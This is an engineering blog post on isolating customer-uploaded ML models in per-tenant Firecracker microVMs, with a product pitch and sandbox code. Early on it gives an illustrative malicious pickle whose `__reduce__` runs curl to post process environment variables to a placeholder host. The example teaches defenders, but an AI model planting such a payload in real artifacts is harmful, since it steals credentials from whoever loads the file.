A Model File Is a Program: Per-Tenant Serving Isolation

There's a product shape that shows up constantly in B2B ML: customers bring their own models. They upload a pickled scikit-learn pipeline, an ONNX graph, a PyTorch checkpoint, plus a little Python file with `preprocess()` and `postprocess()` because their features never quite match your schema. You hand back a stable HTTPS endpoint and charge per prediction. It's a great business. It is also, architecturally, a remote code execution service with an onboarding wizard, and most teams building it don't notice until the first security questionnaire arrives.

I'm Ajay; I built PandaStack, a Firecracker microVM platform, and "we let customers upload models" is one of the workloads that reliably lands in my inbox under the subject line "is this as bad as I think it is." It usually is. Here's the long version of my reply: why a model artifact is executable code, what an attacker gets when your serving process loads one, why container-per-tenant isn't the fix people think, the microVM shape, and how the memory arithmetic works when four hundred tenants each want their weights resident forever.

A model file is a program that happens to contain numbers

The mental model that gets people hurt is "weights are data." For a raw tensor dump that's true. For the formats people actually ship, it's false, and the reason is Python's pickle protocol. Pickle is not a data format; it's a tiny stack-based virtual machine with an instruction that means "call this callable with these arguments." That instruction exists so objects with custom constructors can round-trip. It cannot check whether the callable is `sklearn.pipeline.Pipeline` or `os.system`.

import os
import pickle


class TotallyNormalModel:
    # __reduce__ tells pickle how to REBUILD this object on load: it returns
    # (callable, args), and pickle calls callable(*args) at load time.
    # That is the whole feature. There is no allowlist. There is no sandbox.
    def __reduce__(self):
        return (
            os.system,
            ("curl -s https://collector.example.com/i --data-binary @/proc/self/environ",),
        )


artifact = pickle.dumps(TotallyNormalModel())   # a ~90-byte .pkl file
# ... customer uploads it, you store it in object storage, life goes on ...

model = pickle.loads(artifact)   # the curl already ran. `model` is None.
#                                  Your process never noticed anything.

# Everything below routes through the same machinery:
#   joblib.load("model.pkl")          -> pickle
#   numpy.load(f, allow_pickle=True)  -> pickle
#   pandas.read_pickle("df.pkl")      -> pickle
#   torch.load("ckpt.pt")             -> pickle, unless weights_only is on

PyTorch checkpoints deserve a note because the history matters. A `.pt` file is a zip containing a pickle, and for years `torch.load` unpickled it with no restrictions — loading a checkpoint from the internet was, literally, running a stranger's Python. PyTorch has since moved the default toward a restricted weights-only loader that permits only known tensor-rebuilding globals. That's a real improvement, and one you should verify is actually in effect in the version you ship, because it's exactly the kind of default a well-meaning teammate disables at 6pm to fix a loading error.

Pickle is just the loudest example. Keras models can serialize `Lambda` layers carrying marshalled bytecode. ONNX Runtime supports custom operators loaded from shared libraries — native code, with none of pickle's charming legibility. Hugging Face's `trust_remote_code=True`, a flag people set because the error message suggested it, imports a modelling file straight from the repo. Convenience serializers execute things.

What tenant B gets when the load succeeds

Assume the RCE lands. Someone uploaded a crafted artifact — or, more likely, an honest customer pulled a fine-tune from a public model hub that was typosquatting a popular repo and forwarded the supply chain attack to you in good faith. Attacker-chosen Python is now executing inside your serving process. What's reachable?

• Other tenants' weights. If a worker serves more than one tenant — a natural design, since loading is expensive — the other models are objects in the same heap, or files in the same container's model cache. Weights are often the customer's most valuable asset and the reason they hesitated to upload at all.
• The model registry credential. Your serving pod holds an object-storage role so it can fetch artifacts on demand, and it's almost never scoped per tenant, because scoping it per tenant is annoying. One SDK call enumerates every customer's model bucket — a far bigger breach than anything reachable through your API.
• Other tenants' inference inputs. For many businesses the payloads are the crown jewels: transaction rows, clinical features, resume text. In-process code reads them from your request queue or logging buffer, or just monkey-patches your predict function and waits.
• Shared scratch space. A shared `/tmp` is a group chat. Preprocessing hooks write feature files there, batch jobs write intermediates, and someone's cache layer writes pickles there — its own delightful second-order problem.
• Your network position and the host kernel. The pod can reach the feature store, the metadata endpoint, and a few internal services whose auth model is "you're inside the VPC, so you're fine." And underneath, one kernel shared with every other tenant on the node.

Notice how little of this requires the attacker to be clever. They don't need a bug in NumPy. They need you to call `load()` on a file they control, in a process holding something worth taking. The whole question is what else lives in that process, that container, and that kernel.

safetensors helps, and doesn't finish the job

The obvious mitigation is to stop accepting pickle. safetensors is deliberately boring: a JSON header of dtypes and shapes, then a flat blob of tensor bytes, with no mechanism to invoke anything. Loading it is memory-mapping numbers. If you can require it for weights, do — it deletes the largest and dumbest class of this problem and loads faster besides.

But re-read the product description. Customers bring "custom pre/post-processing Python," because their dates are in a weird format and their outputs need a business rule. That's not a serialization format you can harden; it's Python you agreed to run. A safetensors-only policy converts "the attacker executes code during `load()`" into "the attacker executes code during `preprocess()`" — the same execution, through the front door, inside a `try/except` you wrote. Safe formats narrow the surface. They don't change the fact that a bring-your-own-model platform is definitionally a bring-your-own-code platform.

Why the three obvious containments fall short

One serving process, many tenants

This is the default because it's the efficient one: load models lazily into a dict keyed by tenant, evict on LRU, amortise the framework's memory across everybody. It's also zero isolation. Python has no intra-process boundary worth the name — `gc.get_objects()` hands an attacker every other tenant's model, and no configuration flag fixes that. If you take one thing from this post: never load two tenants' artifacts into the same interpreter, however much RAM it saves.

A process per tenant with a seccomp filter

Meaningfully better, and underrated. Fork a worker per tenant, drop privileges, apply a seccomp-bpf filter denying `socket`, `execve`, `ptrace` and friends, set a memory cgroup, put the artifact on a private mount. A hostile `__reduce__` now lands somewhere that can compute and little else. The catch is that seccomp policies for ML workloads are hard to keep tight — NumPy wants `mmap` and `madvise`, your framework spawns thread pools, something needs `openat` for a font file — so the allowlist creeps back toward the interesting kernel surface. And every process still issues syscalls into one shared kernel. A container is a polite suggestion to the kernel; a seccomp filter is a politely worded list of suggestions.

A container per tenant, same node

The reflexive cloud-native answer, and it fixes the easy half: separate filesystems, separate `/tmp`, separate process trees, per-container limits, and a credential you can scope if you're disciplined. Keep it. But the boundary is namespaces and cgroups over one host kernel, and kernel privilege-escalation bugs are a recurring genre rather than a historical curiosity. ML infra also erodes it in practice — someone mounts a shared model cache into every container so cold loads are fast, or runs pods privileged so a driver stops complaining. Real defence in depth; not something you'd want as the only thing between an anonymous uploader and four hundred customers' weights.

The microVM shape: one guest kernel per tenant

The shape that holds gives each tenant's serving environment its own virtual machine: its own guest kernel, memory, virtual block device, and network namespace, separated from your host by hardware virtualization rather than kernel configuration. Firecracker makes this practical because the VMM is tiny — a minimal device model, no BIOS, no PCI, no USB — so the thing an escape must break is small and audited. It's the isolation model AWS Lambda uses for untrusted code from unrelated customers, which is a reasonable existence proof.

Map it back to the list. A hostile `__reduce__` executes against a kernel that exists only for this tenant and dies in a few minutes. No other tenant's weights are in that address space, on that disk, or in that page cache — the disk is a copy-on-write clone of a template, and the page cache belongs to a kernel with one tenant in it. There's no shared `/tmp`. And the registry credential needn't be in the guest at all: your control plane fetches the artifact and writes it in, so the VM holds one model and no way to ask for another.

Egress matters most for the postprocessing-hook problem, and it's the one people forget. A hook that runs after inference has seen both the input features and the prediction. If it can open a socket it can ship both somewhere, and load-time hardening is irrelevant because this code is supposed to run. Since each sandbox gets its own network namespace and tap device, egress is enforced host-side: default-deny, allow the specific destinations a tenant's model legitimately needs (often none), and the guest gets no vote. "The model can't phone home" becomes a property of the topology rather than a promise in your terms of service. The general version of this is in /blog/controlling-network-egress-untrusted-code.

Four containments, four dimensions

Same workload — a tenant-supplied artifact plus a tenant-supplied handler — under four topologies. Judge any managed platform's version of these against its own current security documentation rather than mine.

• Blast radius — Shared process: total; every other tenant's model object, in-flight payload, and the registry credential sit in one heap, and `gc.get_objects()` is the exploit. Process-per-tenant + seccomp: one process, unless a kernel LPE or a loose allowlist reaches the host. Container-per-tenant: one container's namespaces, until a shared cache mount or a privileged pod reopens the door. microVM-per-tenant: one guest kernel — escaping means breaking the hypervisor.
• Cold start — Shared process: near zero when the model is resident, which is the appeal, and a full framework import plus artifact load when it isn't. Process-per-tenant: a fork plus a fresh import per worker. Container-per-tenant: image pull on a cold node, container create, then the same import and load. microVM-per-tenant: naively a multi-second boot, which is why people avoided this shape — unless the VM is created by restoring a pre-baked snapshot, which on PandaStack is p50 179ms and p99 203ms, with only a template's first-ever boot taking about 3 seconds.
• Memory cost — Shared process: cheapest per tenant, one interpreter and one framework copy for everyone, and that sharing is exactly what makes it unsafe. Process-per-tenant: an interpreter each, partly offset by copy-on-write pages after fork. Container-per-tenant: a full runtime per tenant plus image layers. microVM-per-tenant: a kernel and userland per tenant on paper — but with snapshot-restore, CoW memory forking, and scale-to-zero, you pay for tenants being called, not tenants that exist.
• Ops complexity — Shared process: one deployment and an incident plan consisting of the word "rebuild." Process-per-tenant: supervision, cgroup accounting, and seccomp policies re-tuned every time a dependency moves. Container-per-tenant: an orchestrator, per-tenant image builds, registry hygiene, node autoscaling. microVM-per-tenant: template baking, snapshot lifecycle, and placement — real work, mostly the kind you can buy rather than build.

Nobody's model deserves to be resident forever

Teams don't end up in the shared-process design out of ignorance; they end up there because of arithmetic. Model load is expensive, so you cache the loaded model, so you keep it resident, so you pay for RAM. With three tenants that's free. With four hundred carrying a couple of gigabytes of weights each, "every tenant wants their model resident" is a request for a machine that doesn't exist. So you build an LRU, and now a tail of unlucky tenants eats a full cold load per request and a support queue asks why Mondays are slow.

Traffic shape makes this worse and then better. Per-tenant inference in B2B is wildly bimodal: a few tenants call constantly, and the long tail calls a few times a day, bursting when someone opens a dashboard. Under a residency model that tail is pure cost — keeping weights warm for an endpoint nobody has touched since Tuesday. Under a snapshot model it's nearly free, because the right state for an idle tenant is "not running."

The trick is that the snapshot is taken after the expensive part. Boot the tenant's serving VM once, import the framework, load the artifact, run a warmup prediction to fault in the lazy imports, then snapshot the whole machine — memory, page tables, loaded weights, warm interpreter. Waking that tenant later isn't a cold start; it's restoring a machine that had already finished starting. On PandaStack that restore is the ordinary create path at p50 179ms and p99 203ms, with guest memory streamed on demand from object storage via userfaultfd, so a large guest needn't page in fully before the first request lands. Scale-to-zero stops being a latency sacrifice and becomes the default state. For bursts, copy-on-write forking clones the warm VM — 400-750ms same-host, 1.2-3.5s cross-host — so a tenant's fan-out costs the pages they dirty rather than another full copy of their weights, and every fork is still its own kernel.

What it looks like in code

The straightforward version first: one throwaway VM per scoring call. The control plane fetches the artifact — it holds the storage credential, the guest never does — writes it and the customer's handler into the sandbox, and runs a scoring script under a hard timeout. Deserialization happens inside the guest: if the pickle is hostile it detonates in a machine containing one model and no secrets.

import json
from pandastack import Sandbox

SERVE = """import json, sys
sys.path.insert(0, "/srv")

import joblib
import handler                       # the CUSTOMER'S python. untrusted.

# The dangerous line. It runs here, on this tenant's own kernel, in a VM
# that holds no registry credential and no other tenant's weights.
model = joblib.load("/srv/model.pkl")

rows = json.load(open("/srv/input.json"))
feats = handler.preprocess(rows)     # untrusted
preds = model.predict(feats)
out = handler.postprocess(preds)     # untrusted, and it has seen the inputs
print(json.dumps({"predictions": list(out)}))
"""


def score(tenant_id: str, artifact: bytes, handler_py: str, rows: list) -> dict:
    """One scoring call, one disposable VM, one guest kernel."""
    with Sandbox.create(
        template="code-interpreter",
        ttl_seconds=600,                       # backstop if we drop the handle
        metadata={"tenant": tenant_id, "trust": "none"},
    ) as sbx:
        # We fetched the artifact; the guest never gets to ask storage for it.
        sbx.filesystem.write("/srv/model.pkl", artifact)
        sbx.filesystem.write("/srv/handler.py", handler_py)
        sbx.filesystem.write("/srv/input.json", json.dumps(rows))
        sbx.filesystem.write("/srv/serve.py", SERVE)

        run = sbx.exec("python /srv/serve.py", timeout_seconds=30)
        if run.exit_code != 0:
            # A broken model is a 422 for that tenant. Nothing else in the
            # fleet noticed, because nothing else shared anything.
            raise RuntimeError(f"tenant {tenant_id}: {run.stderr[-2000:]}")

        return json.loads(run.stdout)
    # VM destroyed here: memory, disk, any process the handler forked, and
    # whatever the pickle did on its way in.

A VM per request re-loads the model every time — fine for a heavyweight batch score, wasteful for a chatty endpoint. The production shape is a warm per-tenant sandbox that loads once, serves many, and goes away when the tenant goes quiet: scale-to-zero at tenant granularity.

import json
from pandastack import Sandbox

# In real life this harness is baked into the template. It imports the
# customer's handler, loads the artifact ONCE, and answers /predict over a
# Unix socket inside the guest -- no TCP port, nothing reachable off-VM.
SERVER_PY = """# loads /srv/model.pkl + /srv/handler.py, listens on /srv/serve.sock
"""


class TenantEndpoint:
    """One warm VM per tenant. Loads once, serves many, sleeps when idle."""

    def __init__(self, tenant_id: str, artifact: bytes, handler_py: str):
        self.tenant_id = tenant_id
        self.artifact = artifact
        self.handler_py = handler_py
        self.sbx = None

    def _wake(self):
        if self.sbx is not None:
            return
        self.sbx = Sandbox.create(
            template="code-interpreter",
            ttl_seconds=3600,
            persistent=True,
            metadata={"tenant": self.tenant_id, "role": "serving"},
        )
        self.sbx.filesystem.write("/srv/model.pkl", self.artifact)
        self.sbx.filesystem.write("/srv/handler.py", self.handler_py)
        self.sbx.filesystem.write("/srv/server.py", SERVER_PY)

        boot = self.sbx.exec(
            "nohup python /srv/server.py >/var/log/serve.log 2>&1 &",
            timeout_seconds=15,
        )
        if boot.exit_code != 0:
            raise RuntimeError(boot.stderr[-2000:])

    def predict(self, rows: list) -> dict:
        self._wake()
        self.sbx.filesystem.write("/srv/input.json", json.dumps(rows))
        run = self.sbx.exec(
            "curl -s --max-time 20 --unix-socket /srv/serve.sock "
            "-XPOST http://x/predict --data-binary @/srv/input.json",
            timeout_seconds=25,
        )
        return json.loads(run.stdout)

    def sleep(self):
        """Idle tenant -> zero running VMs. The next call restores a warm one."""
        if self.sbx is not None:
            self.sbx.kill()
            self.sbx = None

Four details worth stealing regardless of what you build on. Bake the framework into the template, not the tenant VM — `import torch` is the slowest thing in your critical path and belongs in the snapshot. Keep the storage credential out of the guest. Treat guest stdout as untrusted strings you record, never structured data you parse into control-plane decisions, because tenant code can forge log lines. And version templates like dependencies: re-baking invalidates older snapshots, so "upgrade scikit-learn" is a fleet migration with a re-warm, not a patch release.

When this is overkill (and when it's the wrong tool)

Start with the hardest constraint: this shape is CPU inference. PandaStack has no GPU offering — no accelerators, no passthrough, nothing on the roadmap I'd let you plan around. If your serving workload needs GPUs, this is not the architecture you want, and I'd rather say so than sell you a bad fit. Go rent accelerators from a platform whose entire product is accelerators, and take the isolation conversation there: ask in writing exactly what boundary sits between two tenants sharing a device. It's a harder problem than the CPU case and the honest answers vary.

Past that, several places I'd skip it. If every model on your platform is one you trained from artifacts you produced in a pipeline you control, there's no untrusted code and this is just expensive process isolation — harden the pipeline instead. If you accept only safetensors weights, run a fixed architecture you wrote, and permit no customer code at all, a container per tenant with a scoped credential is a defensible place to stop; write that no-custom-code rule somewhere product can see it, because it's the assumption that quietly dies first. And if you're five design partners deep with mutual NDAs, ship the simple thing and revisit when the tenant count has a comma in it.

The costs are real. You're operating a fleet now: template baking, snapshot lifecycle, placement, capacity. Debugging is a step removed, since you can't attach a profiler to a VM that already exited, so you want per-request tracing at the boundary from day one. Every tenant VM re-pays some memory for its own kernel and userland, which snapshot sharing and copy-on-write mitigate rather than erase. I still think it's worth it for one asymmetric reason: the failure you're insuring against isn't downtime. It's a headline saying your platform leaked four hundred customers' proprietary models because one of them uploaded a file. Downtime you apologise for. That one you don't come back from.